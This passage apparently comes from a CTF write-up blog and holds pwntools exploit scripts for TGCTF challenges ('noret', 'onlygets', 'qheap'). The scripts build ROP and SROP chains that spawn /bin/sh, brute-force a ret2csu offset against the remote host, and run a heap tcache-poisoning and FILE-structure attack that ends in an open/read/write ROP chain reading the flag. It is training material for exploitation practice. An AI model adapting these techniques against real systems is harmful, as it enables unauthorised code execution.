p1 += pack('<I', 0x08060bd1) # pop edx ; ret
p1 += pack('<I', 0x080ee068) # @ .data + 8
p1 += pack('<I', 0x080507e0) # xor eax, eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08082bbe) # inc eax ; ret
p1 += pack('<I', 0x08049c6a) # int 0x80

sa(b'name?\n', p1)


pay = b'a'*0xc8 + fit(name_addr + 0x4)
# gdb.attach(p, "b *0x80498B8")
sla(b"right?\n",pay)


io()
if __name__ == '__main__':
main()

noret

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './pwn'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
# libc = ELF('', checksec=False)
host = 'node1.tgctf.woooo.tech'
port = '31720'
p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

buf_addr = 0x40219C
xor_rax = 0x40100A
pop_rcx = 0x401029
pop_rdx = 0x401021
add_rax_rdx = 0x401024
mov_rsi = 0x40101B
xchg_rax_rdi = 0x401000
syscall_ret = 0x40113D

def cmd(data):
sa(b'do?\n', data)

def main():
cmd(b'4')
ret_addr = u64(ru(b'\x7f')[-6:].ljust(8, b'\0'))
rop_addr = ret_addr - 0x100
log('ret_addr', ret_addr)

cmd(b'2'.ljust(8, b'\0') + b'/bin/sh\0')

ru(b'feedback: ')

xor_rax_addr = ret_addr + 0x10
pop_rcx_addr = ret_addr + 0x18
pop_rdx_addr = ret_addr + 0x20
add_rax_rdx_addr = ret_addr + 0x28
syscall_ret_addr = ret_addr + 0x30
back_addr = ret_addr + 0x38
xchg_rax_rdi_addr = ret_addr + 0x40
mov_rsi_addr = ret_addr + 0x48
inc_rdi_syscall_addr = ret_addr + 0x50
my_read_addr = ret_addr + 0x60

# pay = fit(
# xor_rax_addr - 1, 0, back_addr,
# add_rax_rdx_addr - 1, back_addr, buf_addr + 0x8,
# mov_rsi_addr - 1, buf_addr + 0x20, back_addr,
# pop_rcx_addr - 1, pop_rcx_addr, xchg_rax_rdi_addr,

# )

frame = SigreturnFrame()
frame.rdi = buf_addr + 0x8
frame.rsi = 0
frame.rdx = 0
frame.rsp = rop_addr
frame.rax = 0x3b
frame.rip = 0x401153

pay = fit(
mov_rsi_addr - 1, ret_addr + 0x58 - 0x10, back_addr,
my_read_addr - 1, 0, 0x500, 0x40100F, elf.bss(0x500)

)

pay = pay.ljust(0x100, b'\x00') + p64(0x40100F) + p64(rop_addr)
pay += fit(xor_rax, pop_rcx, pop_rdx, add_rax_rdx, syscall_ret, 0x401010, xchg_rax_rdi
, mov_rsi, 0x401150, elf.bss(0x500), 0x40115D)

# gdb.attach(p, "b *0x4010F6")
s(pay)

pay = fit(
xor_rax_addr - 1, 0, back_addr,
add_rax_rdx_addr - 1, back_addr, 0xf,
syscall_ret_addr - 1, 0, 0,
)
pay += bytes(frame)
sleep(0.3)
s(pay)

io()
if __name__ == '__main__':
main()

onlygets

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *
context.update(os = 'linux', arch = 'amd64')
# context.timeout = 5
context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './vuln'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary, env={'LD_PRELOAD': './TGCTF.so'})
else:
# libc = ELF('', checksec=False)
host = 'node1.tgctf.woooo.tech'
port = '31772'
# p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

# add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; repz ret
gadget1 = 0x0000000000400548
csu_back = 0x40065A
target = 0x601010
pop_rbp_ret = 0x00000000004004e8
leave_ret = 0x00000000004005fb
csu_front = 0x400640
ret = 0x0000000000400456

def main(offset):
pay = b'\0'*0x18 + fit(csu_back, offset, target + 0x3d, target - 8 * offset, 0, 0, 0, gadget1,
ret, csu_front)

# gdb.attach(p, "b *0x4005FB")
sl(pay)
# io()
if __name__ == '__main__':
# offset = 0x1e9b9 + 0x6b
# offset = 0xea24 # remote
# main(offset)

for x in range(0x10):
for y in range(0x10):
try:
# p = process(binary)
p = remote("node1.tgctf.woooo.tech", '31772')
offset = 0x9b9 + 0x6b
offset += x << 16
offset += y << 12
success("try offset:\t" + hex(offset))
main(offset)
sleep(0.2)
p.sendline(b"cat flag")
flag = p.recvline_contains(b"{", timeout = 1)
print(flag)
p.interactive()
except EOFError:
p.close()

qheap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
from pwn import *
from SomeofHouse import *
context.update(os = 'linux', arch = 'amd64')
context.timeout = 5
# context.log_level = 'debug'
context.terminal = ['tmux', 'split', '-h']
binary = './vuln'
elf = ELF(binary, checksec=False)
DEBUG = 0
if DEBUG:
libc = elf.libc
p = process(binary)
else:
libc = ELF('./libc.so.6', checksec=False)
host = 'node1.tgctf.woooo.tech'
port = '32196'
# p = remote(host,port)

sla = lambda delim, data: p.sendlineafter(delim, data)
sa = lambda delim, data: p.sendafter(delim, data)
s = lambda data: p.send(data)
sl = lambda data: p.sendline(data)
ru = lambda delim, **kwargs: p.recvuntil(delim, **kwargs)
io = lambda: p.interactive()
log = lambda name, data: success(f'{name}: {data:#x}')

def cmd(idx):
sla(b'> ', str(idx).encode())

def add1(idx, size, data):
cmd(1)
sla(b'Index: ', str(idx).encode())
sla(b'Size: ', str(size).encode())
sa(b'Data: ', data)

def delete1(idx):
cmd(2)
sla(b'Index: ', str(idx).encode())

def show(idx):
cmd(3)
sla(b'Index: ', str(idx).encode())

def edit(idx, data):
cmd(4)
sla(b'Index: ', str(idx).encode())
sa(b'Data: ', data)

def add2(idx, sz, data):
cmd(356781)
sl(b'1')
sleep(0.2)
sl(str(idx).encode())
sleep(0.2)
sl(str(sz).encode())
sleep(0.2)
sl(data)
sleep(0.2)
sl(b'4')

def delete2(idx):
cmd(356781)
sl(b'2')
sleep(0.2)
sl(str(idx).encode())
sleep(0.2)
sl(b'4')

def main(offset):
for _ in range(2):
add1(0, 0x20, b'a')

add2(0, 0x20, b'a'*0x1f)
add2(1, 0x20, b'a'*0x1f)
add2(2, 0x20, b'a'*0x1f)
add1(3, 0x20, b'a')

# fake size
edit(0, b'\0'*0x18 + p64(0x51))

delete1(1)

#fake size
add1(1, 0x40, b'\0'*0x18 + p64(0x31))
delete1(2)

# leak ld
edit(1, b'a'*0x20)
show(1)
ru(b'a'*0x20)
key = u64(p.recvn(8))
libc.address = (key << 12) - offset
log('libc', libc.address)

# fix size
edit(1, b'\0'*0x18 + p64(0x31))
add1(2, 0x20, b'2')

delete1(3)
delete1(2)

# leak heapbase
edit(1, b'a'*0x20)
show(1)
ru(b'a'*0x20)
heapbase = (u64(p.recvn(8)) ^ key) - 0x9e0
heap4_addr = heapbase + 0x1960
log('heapbase', heapbase)

# hijack fd
edit(1, b'\0'*0x18 + fit(0x31, key ^ libc.sym._IO_list_all))

add1(2, 0x20, b'2')
add1(3, 0x20, p64(heap4_addr)) # _IO_list_all

hos = HouseOfSome(libc, libc.sym.__free_hook)
fake_io = hos.hoi_read_file_template(
libc.sym.__free_hook, 0x500, libc.sym.__free_hook, 0)

add1(4, 0x100, fake_io)

cmd(5)

stack = hos.bomb_raw(p)

rop = ROP(libc, stack)
rop.call('syscall', [2, './flag', 0])
rop.read(3, libc.sym.__free_hook, 0x40)
rop.write(1, libc.sym.__free_hook)

info(rop.dump())
pay = rop.chain()
# gdb.attach(p, "b *_IO_do_write+177")
sl(pay)


# pause()

io()

if __name__ == '__main__':
# offset = 0x292000 # local / remote 0x282000

for x in range(0x10):
for y in range(0x10):
try:
# p = process(binary)
p = remote("node1.tgctf.woooo.tech", '32254')
# p = remote("127.0.0.1", '9999')
offset = 0x282000
offset += x << 16
offset += y << 12
success("try offset:\t" + hex(offset))
main(offset)
sleep(0.2)
# p.sendline(b"cat flag")
flag = p.recvline_contains(b"{", timeout = 1)
print(flag)
p.interactive()
except EOFError:
p.close()
 评论
评论插件加载失败
正在加载评论插件
总字数 98k 访客数 访问量